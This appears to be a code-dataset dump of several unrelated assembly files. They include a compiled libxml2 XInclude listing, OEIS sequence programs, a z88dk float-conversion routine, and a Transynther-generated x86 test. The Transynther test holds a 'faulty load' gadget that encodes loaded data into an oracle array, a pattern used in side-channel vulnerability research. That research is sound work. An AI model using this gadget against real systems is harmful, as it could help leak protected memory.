; 2572 : ctxt = xmlXIncludeNewContext(tree->doc);
mov edx, DWORD PTR _tree$[ebp]
mov eax, DWORD PTR [edx+32]
push eax
call _xmlXIncludeNewContext
add esp, 4
mov DWORD PTR _ctxt$[ebp], eax
; 2573 : if (ctxt == NULL)
cmp DWORD PTR _ctxt$[ebp], 0
jne SHORT $LN4@xmlXInclud
; 2574 : return(-1);
or eax, -1
jmp SHORT $LN1@xmlXInclud
$LN4@xmlXInclud:
; 2575 : ctxt->base = xmlNodeGetBase(tree->doc, tree);
mov ecx, DWORD PTR _tree$[ebp]
push ecx
mov edx, DWORD PTR _tree$[ebp]
mov eax, DWORD PTR [edx+32]
push eax
call _xmlNodeGetBase
add esp, 8
mov ecx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [ecx+64], eax
; 2576 : xmlXIncludeSetFlags(ctxt, flags);
mov edx, DWORD PTR _flags$[ebp]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeSetFlags
add esp, 8
; 2577 : ret = xmlXIncludeDoProcess(ctxt, tree->doc, tree);
mov ecx, DWORD PTR _tree$[ebp]
push ecx
mov edx, DWORD PTR _tree$[ebp]
mov eax, DWORD PTR [edx+32]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeDoProcess
add esp, 12 ; 0000000cH
mov DWORD PTR _ret$[ebp], eax
; 2578 : if ((ret >= 0) && (ctxt->nbErrors > 0))
cmp DWORD PTR _ret$[ebp], 0
jl SHORT $LN5@xmlXInclud
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx+52], 0
jle SHORT $LN5@xmlXInclud
; 2579 : ret = -1;
mov DWORD PTR _ret$[ebp], -1
$LN5@xmlXInclud:
; 2580 :
; 2581 : xmlXIncludeFreeContext(ctxt);
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeFreeContext
add esp, 4
; 2582 : return(ret);
mov eax, DWORD PTR _ret$[ebp]
$LN1@xmlXInclud:
; 2583 : }
add esp, 8
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeProcessTreeFlags ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeProcessTree
_TEXT SEGMENT
_tree$ = 8 ; size = 4
_xmlXIncludeProcessTree PROC ; COMDAT
; 2595 : xmlXIncludeProcessTree(xmlNodePtr tree) {
push ebp
mov ebp, esp
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 2596 : return(xmlXIncludeProcessTreeFlags(tree, 0));
push 0
mov eax, DWORD PTR _tree$[ebp]
push eax
call _xmlXIncludeProcessTreeFlags
add esp, 8
; 2597 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_xmlXIncludeProcessTree ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeProcessTreeFlagsData
_TEXT SEGMENT
_ret$ = -8 ; size = 4
_ctxt$ = -4 ; size = 4
_tree$ = 8 ; size = 4
_flags$ = 12 ; size = 4
_data$ = 16 ; size = 4
_xmlXIncludeProcessTreeFlagsData PROC ; COMDAT
; 2479 : xmlXIncludeProcessTreeFlagsData(xmlNodePtr tree, int flags, void *data) {
push ebp
mov ebp, esp
sub esp, 8
mov DWORD PTR [ebp-8], -858993460 ; ccccccccH
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 2480 : xmlXIncludeCtxtPtr ctxt;
; 2481 : int ret = 0;
mov DWORD PTR _ret$[ebp], 0
; 2482 :
; 2483 : if ((tree == NULL) || (tree->type == XML_NAMESPACE_DECL) ||
cmp DWORD PTR _tree$[ebp], 0
je SHORT $LN3@xmlXInclud
mov eax, DWORD PTR _tree$[ebp]
cmp DWORD PTR [eax+4], 18 ; 00000012H
je SHORT $LN3@xmlXInclud
mov ecx, DWORD PTR _tree$[ebp]
cmp DWORD PTR [ecx+32], 0
jne SHORT $LN2@xmlXInclud
$LN3@xmlXInclud:
; 2484 : (tree->doc == NULL))
; 2485 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN2@xmlXInclud:
; 2486 :
; 2487 : ctxt = xmlXIncludeNewContext(tree->doc);
mov edx, DWORD PTR _tree$[ebp]
mov eax, DWORD PTR [edx+32]
push eax
call _xmlXIncludeNewContext
add esp, 4
mov DWORD PTR _ctxt$[ebp], eax
; 2488 : if (ctxt == NULL)
cmp DWORD PTR _ctxt$[ebp], 0
jne SHORT $LN4@xmlXInclud
; 2489 : return(-1);
or eax, -1
jmp SHORT $LN1@xmlXInclud
$LN4@xmlXInclud:
; 2490 : ctxt->_private = data;
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR _data$[ebp]
mov DWORD PTR [ecx+68], edx
; 2491 : ctxt->base = xmlStrdup((xmlChar *)tree->doc->URL);
mov eax, DWORD PTR _tree$[ebp]
mov ecx, DWORD PTR [eax+32]
mov edx, DWORD PTR [ecx+72]
push edx
call _xmlStrdup
add esp, 4
mov ecx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [ecx+64], eax
; 2492 : xmlXIncludeSetFlags(ctxt, flags);
mov edx, DWORD PTR _flags$[ebp]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeSetFlags
add esp, 8
; 2493 : ret = xmlXIncludeDoProcess(ctxt, tree->doc, tree);
mov ecx, DWORD PTR _tree$[ebp]
push ecx
mov edx, DWORD PTR _tree$[ebp]
mov eax, DWORD PTR [edx+32]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeDoProcess
add esp, 12 ; 0000000cH
mov DWORD PTR _ret$[ebp], eax
; 2494 : if ((ret >= 0) && (ctxt->nbErrors > 0))
cmp DWORD PTR _ret$[ebp], 0
jl SHORT $LN5@xmlXInclud
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx+52], 0
jle SHORT $LN5@xmlXInclud
; 2495 : ret = -1;
mov DWORD PTR _ret$[ebp], -1
$LN5@xmlXInclud:
; 2496 :
; 2497 : xmlXIncludeFreeContext(ctxt);
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeFreeContext
add esp, 4
; 2498 : return(ret);
mov eax, DWORD PTR _ret$[ebp]
$LN1@xmlXInclud:
; 2499 : }
add esp, 8
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeProcessTreeFlagsData ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeProcessFlagsData
_TEXT SEGMENT
_tree$ = -4 ; size = 4
_doc$ = 8 ; size = 4
_flags$ = 12 ; size = 4
_data$ = 16 ; size = 4
_xmlXIncludeProcessFlagsData PROC ; COMDAT
; 2514 : xmlXIncludeProcessFlagsData(xmlDocPtr doc, int flags, void *data) {
push ebp
mov ebp, esp
push ecx
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 2515 : xmlNodePtr tree;
; 2516 :
; 2517 : if (doc == NULL)
cmp DWORD PTR _doc$[ebp], 0
jne SHORT $LN2@xmlXInclud
; 2518 : return(-1);
or eax, -1
jmp SHORT $LN1@xmlXInclud
$LN2@xmlXInclud:
; 2519 : tree = xmlDocGetRootElement(doc);
mov eax, DWORD PTR _doc$[ebp]
push eax
call _xmlDocGetRootElement
add esp, 4
mov DWORD PTR _tree$[ebp], eax
; 2520 : if (tree == NULL)
cmp DWORD PTR _tree$[ebp], 0
jne SHORT $LN3@xmlXInclud
; 2521 : return(-1);
or eax, -1
jmp SHORT $LN1@xmlXInclud
$LN3@xmlXInclud:
; 2522 : return(xmlXIncludeProcessTreeFlagsData(tree, flags, data));
mov ecx, DWORD PTR _data$[ebp]
push ecx
mov edx, DWORD PTR _flags$[ebp]
push edx
mov eax, DWORD PTR _tree$[ebp]
push eax
call _xmlXIncludeProcessTreeFlagsData
add esp, 12 ; 0000000cH
$LN1@xmlXInclud:
; 2523 : }
add esp, 4
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeProcessFlagsData ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeProcessFlags
_TEXT SEGMENT
_doc$ = 8 ; size = 4
_flags$ = 12 ; size = 4
_xmlXIncludeProcessFlags PROC ; COMDAT
; 2536 : xmlXIncludeProcessFlags(xmlDocPtr doc, int flags) {
push ebp
mov ebp, esp
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 2537 : return xmlXIncludeProcessFlagsData(doc, flags, NULL);
push 0
mov eax, DWORD PTR _flags$[ebp]
push eax
mov ecx, DWORD PTR _doc$[ebp]
push ecx
call _xmlXIncludeProcessFlagsData
add esp, 12 ; 0000000cH
; 2538 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_xmlXIncludeProcessFlags ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeProcess
_TEXT SEGMENT
_doc$ = 8 ; size = 4
_xmlXIncludeProcess PROC ; COMDAT
; 2550 : xmlXIncludeProcess(xmlDocPtr doc) {
push ebp
mov ebp, esp
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 2551 : return(xmlXIncludeProcessFlags(doc, 0));
push 0
mov eax, DWORD PTR _doc$[ebp]
push eax
call _xmlXIncludeProcessFlags
add esp, 8
; 2552 : }
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_xmlXIncludeProcess ENDP
_TEXT ENDS
END
| 22.366581 | 112 | 0.654528 |
b8d0fb2f1bc612f23016a9695c9cb59c33a5e063 | 416 | asm | Assembly | programs/oeis/014/A014979.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/014/A014979.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/014/A014979.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A014979: Numbers that are both triangular and pentagonal.
; 0,1,210,40755,7906276,1533776805,297544793910,57722156241751,11197800766105800,2172315626468283465,421418033734080886426,81752926228785223683195,15859646270350599313653420
mul $0,2
trn $0,1
seq $0,157089 ; Consider all Consecutive Integer Pythagorean septuples (X, X+1, X+2, X+3, Z-2, Z-1, Z) ordered by increasing Z; sequence gives Z values.
div $0,24
| 52 | 173 | 0.802885 |
771e66de618394d1a4b7b9a40bbf74ed5bfa6376 | 577 | asm | Assembly | libsrc/math/daimath32/c/sccz80/l_f32_f2sint.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/math/daimath32/c/sccz80/l_f32_f2sint.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/math/daimath32/c/sccz80/l_f32_f2sint.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_fp_dai32
PUBLIC l_f32_f2sint
PUBLIC l_f32_f2uint
PUBLIC l_f32_f2ulong
PUBLIC l_f32_f2slong
EXTERN ___dai32_setup_single_reg
EXTERN ___dai32_return
EXTERN ___dai32_xfix
EXTERN ___dai32_fpac
l_f32_f2sint:
l_f32_f2uint:
l_f32_f2slong:
l_f32_f2ulong:
call ___dai32_setup_single_reg
call ___dai32_xfix
ld hl,(___dai32_fpac)
ld a,h
ld h,l
ld l,a
ex de,hl
ld hl,(___dai32_fpac+2)
ld a,h
ld h,l
ld l,a
ret
| 19.233333 | 39 | 0.60312 |
07fbe697f1aa410f024f247156bce44550d603bb | 7,817 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_1032.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_1032.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_1032.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x929a, %r12
nop
nop
nop
nop
add %rax, %rax
and $0xffffffffffffffc0, %r12
vmovaps (%r12), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %r9
and %r11, %r11
lea addresses_normal_ht+0x11fda, %rsi
lea addresses_A_ht+0x134da, %rdi
nop
nop
inc %r11
mov $92, %rcx
rep movsw
dec %r11
lea addresses_D_ht+0xdf5a, %rsi
lea addresses_WC_ht+0x31a, %rdi
clflush (%rdi)
cmp %r8, %r8
mov $116, %rcx
rep movsq
nop
nop
nop
xor $63332, %rdi
lea addresses_A_ht+0x1767a, %r8
sub %r11, %r11
movups (%r8), %xmm5
vpextrq $0, %xmm5, %r9
nop
nop
nop
nop
and $21478, %r11
lea addresses_WT_ht+0x148da, %rcx
nop
nop
add $65180, %rax
movups (%rcx), %xmm4
vpextrq $1, %xmm4, %r11
nop
nop
nop
nop
nop
inc %r9
lea addresses_WT_ht+0x198da, %rcx
nop
nop
nop
nop
xor $62153, %r12
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
and $0xffffffffffffffc0, %rcx
vmovntdq %ymm0, (%rcx)
nop
nop
cmp %rsi, %rsi
lea addresses_D_ht+0x113fa, %rsi
lea addresses_normal_ht+0x1063a, %rdi
nop
nop
nop
nop
nop
xor %r12, %r12
mov $124, %rcx
rep movsb
nop
nop
nop
dec %r12
lea addresses_WC_ht+0x14da, %rsi
nop
nop
nop
nop
inc %rcx
mov (%rsi), %di
add $18352, %rcx
lea addresses_normal_ht+0xa52a, %rdi
nop
sub %rax, %rax
movl $0x61626364, (%rdi)
nop
nop
nop
nop
dec %rdi
lea addresses_WT_ht+0x5048, %rdi
nop
nop
nop
nop
xor $41769, %r9
mov (%rdi), %rsi
nop
nop
xor %r11, %r11
lea addresses_UC_ht+0x15ada, %r9
nop
nop
nop
nop
nop
dec %r8
vmovups (%r9), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $0, %xmm7, %rsi
nop
nop
nop
and $45718, %rdi
lea addresses_WT_ht+0x1c96b, %rcx
nop
nop
nop
cmp $48517, %r8
movl $0x61626364, (%rcx)
nop
nop
sub $47958, %r8
lea addresses_A_ht+0x1d2da, %r9
nop
nop
nop
add $57512, %rsi
mov (%r9), %r12w
nop
dec %r12
lea addresses_WT_ht+0x110da, %rsi
lea addresses_normal_ht+0x1335a, %rdi
nop
sub $31670, %rax
mov $73, %rcx
rep movsb
and %r12, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r15
push %rdi
push %rdx
push %rsi
// Store
lea addresses_D+0x16640, %r15
nop
nop
nop
nop
nop
xor %rdi, %rdi
movw $0x5152, (%r15)
nop
nop
nop
cmp %rsi, %rsi
// Faulty Load
lea addresses_WC+0x1b8da, %r10
nop
nop
nop
nop
inc %r14
mov (%r10), %r12w
lea oracles, %r15
and $0xff, %r12
shlq $12, %r12
mov (%r15,%r12,1), %r12
pop %rsi
pop %rdx
pop %rdi
pop %r15
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': True, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': True, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 6}, 'dst': {'same': True, 'type': 'addresses_WC_ht', 'congruent': 6}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': True, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 6}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 33.549356 | 2,999 | 0.657797 |
3b1f9b0e69588d04f46c9d66caf82d49a19bd0a8 | 339 | asm | Assembly | programs/oeis/004/A004960.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/004/A004960.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/004/A004960.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A004960: a(n) = ceiling(n*phi^5), where phi is the golden ratio, A001622.
; 0,12,23,34,45,56,67,78,89,100,111,122,134,145,156,167,178,189,200,211,222,233,244,256,267,278,289,300,311,322,333,344,355,366,378,389,400,411,422,433,444,455,466,477
mov $1,$0
add $0,1
mul $1,$0
mul $0,11
lpb $1
sub $1,$0
add $0,1
trn $1,1
lpe
sub $0,11
| 24.214286 | 167 | 0.657817 |
a229884ff78297f1e960916a7afb503eb336a167 | 147 | asm | Assembly | other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/polygon.lzh/polygon/sample2/interrupt.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/polygon.lzh/polygon/sample2/interrupt.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/polygon.lzh/polygon/sample2/interrupt.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: interrupt.asm
Type: file
Size: 19083
Last-Modified: '1992-10-05T06:12:42Z'
SHA-1: C76D989143FB47E4CED4C8C716CC182D879D9EF9
Description: null
| 21 | 47 | 0.816327 |
c01702a17ea0bac6932175aa1b78bf507ba018df | 759 | asm | Assembly | programs/oeis/302/A302588.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/302/A302588.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/302/A302588.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A302588: a(n) = a(n-3) + 7*(n-2), a(0)=1, a(1)=2, a(2)=4.
; 1,2,4,8,16,25,36,51,67,85,107,130,155,184,214,246,282,319,358,401,445,491,541,592,645,702,760,820,884,949,1016,1087,1159,1233,1311,1390,1471,1556,1642,1730,1822,1915,2010
mov $12,$0
mov $14,$0
add $14,1
lpb $14,1
clr $0,12
mov $0,$12
sub $14,1
sub $0,$14
mov $9,$0
mov $11,$0
add $11,1
lpb $11,1
mov $0,$9
sub $11,1
sub $0,$11
sub $1,$1
mov $6,2
mov $8,2
lpb $0,1
sub $0,1
mov $5,$0
trn $0,2
mov $2,1
trn $8,$1
trn $1,8
add $5,1
add $8,$1
mov $1,$5
add $1,$0
trn $2,$8
add $0,$2
mov $6,$1
lpe
mov $1,$6
sub $1,1
add $10,$1
lpe
add $13,$10
lpe
mov $1,$13
| 17.25 | 172 | 0.478261 |
b72a0209509e14ec641bbdfee990e243d8aba75d | 434 | asm | Assembly | oeis/246/A246697.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/246/A246697.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/246/A246697.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A246697: Row sums of the triangular array A246696.
; Submitted by Jamie Morken(s3)
; 1,5,16,34,67,111,178,260,373,505,676,870,1111,1379,1702,2056,2473,2925,3448,4010,4651,5335,6106,6924,7837,8801,9868,10990,12223,13515,14926,16400,18001,19669,21472,23346,25363,27455,29698,32020,34501,37065,39796
mov $2,$0
mov $3,$0
mov $5,$0
mul $5,$0
mov $0,$5
div $0,2
add $0,4
mul $0,$3
add $0,2
bin $2,2
mov $4,$2
mul $4,3
add $0,$4
sub $0,1
| 22.842105 | 213 | 0.700461 |
f174889d39617faa63852c7df50018686ea6d72a | 752 | asm | Assembly | oeis/028/A028196.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/028/A028196.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/028/A028196.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A028196: Expansion of 1/((1-5x)(1-9x)(1-10x)(1-11x)).
; Submitted by Christian Krause
